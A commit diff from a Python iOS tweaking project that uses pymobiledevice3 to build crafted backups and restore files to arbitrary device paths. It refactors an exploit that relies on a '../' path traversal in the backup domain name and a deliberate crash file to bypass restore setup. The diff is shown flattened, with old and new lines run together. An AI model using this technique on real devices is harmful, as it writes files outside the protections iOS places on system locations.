update exploit code to support regular files

This commit is contained in:
leminlimez
2024-10-07 15:46:07 -04:00
parent 3211db2ea0
commit a11dac0936
2 changed files with 80 additions and 29 deletions

BIN
.DS_Store vendored

Binary file not shown.

View File

@@ -3,21 +3,14 @@ from pymobiledevice3.lockdown import LockdownClient
import os import os
class FileToRestore: class FileToRestore:
def __init__(self, contents: str, restore_path: str, owner: int = 501, group: int = 501): def __init__(self, contents: str, restore_path: str, domain: str = None, owner: int = 501, group: int = 501):
self.contents = contents self.contents = contents
self.restore_path = restore_path self.restore_path = restore_path
self.domain = domain
self.owner = owner self.owner = owner
self.group = group self.group = group
# files is a list of FileToRestore objects def concat_exploit_file(file: FileToRestore, files_list: list[FileToRestore], last_domain: str) -> str:
def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownClient = None):
# create the files to be backed up
files_list = [
]
sorted_files = sorted(files, key=lambda x: x.restore_path, reverse=True)
# add the file paths
last_domain = ""
for file in sorted_files:
base_path = "/var/backup" base_path = "/var/backup"
# set it to work in the separate volumes (prevents a bootloop) # set it to work in the separate volumes (prevents a bootloop)
if file.restore_path.startswith("/var/mobile/"): if file.restore_path.startswith("/var/mobile/"):
@@ -45,6 +38,63 @@ def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownCl
group=file.group, group=file.group,
contents=file.contents contents=file.contents
)) ))
return last_domain
def concat_regular_file(file: FileToRestore, files_list: list[FileToRestore], last_domain: str, last_path: str) -> str:
path, name = os.path.split(file.restore_path)
paths = path.split("/")
# append the domain first
if last_domain != file.domain:
files_list.append(backup.Directory(
"",
file.domain,
owner=file.owner,
group=file.group
))
last_domain = last_domain
# append each part of the path if it is not already there
full_path = ""
for path_item in paths:
if full_path != "":
full_path += "/"
full_path += path_item
if not last_path.startswith(full_path):
files_list.append(backup.Directory(
full_path,
last_domain,
owner=file.owner,
group=file.group
))
last_path = full_path
# finally, append the file
files_list.append(backup.ConcreteFile(
full_path,
last_domain,
owner=file.owner,
group=file.group,
contents=file.contents
))
return last_domain, last_path
# files is a list of FileToRestore objects
def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownClient = None):
# create the files to be backed up
files_list = [
]
sorted_files = sorted(files, key=lambda x: x.restore_path, reverse=True)
# add the file paths
last_domain = ""
last_path = ""
exploit_only = True
for file in sorted_files:
if file.domain == None:
last_domain = concat_exploit_file(file, files_list, last_domain)
else:
last_domain, last_path = concat_regular_file(file, files_list, last_domain, last_path)
exploit_only = False
# crash the restore to skip the setup (only works for exploit files)
if exploit_only:
files_list.append(backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b"")) files_list.append(backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""))
# create the backup # create the backup
@@ -53,6 +103,7 @@ def restore_files(files: list, reboot: bool = False, lockdown_client: LockdownCl
perform_restore(backup=back, reboot=reboot, lockdown_client=lockdown_client) perform_restore(backup=back, reboot=reboot, lockdown_client=lockdown_client)
# DEPRICATED
def restore_file(fp: str, restore_path: str, restore_name: str, reboot: bool = False, lockdown_client: LockdownClient = None): def restore_file(fp: str, restore_path: str, restore_name: str, reboot: bool = False, lockdown_client: LockdownClient = None):
# open the file and read the contents # open the file and read the contents
contents = open(fp, "rb").read() contents = open(fp, "rb").read()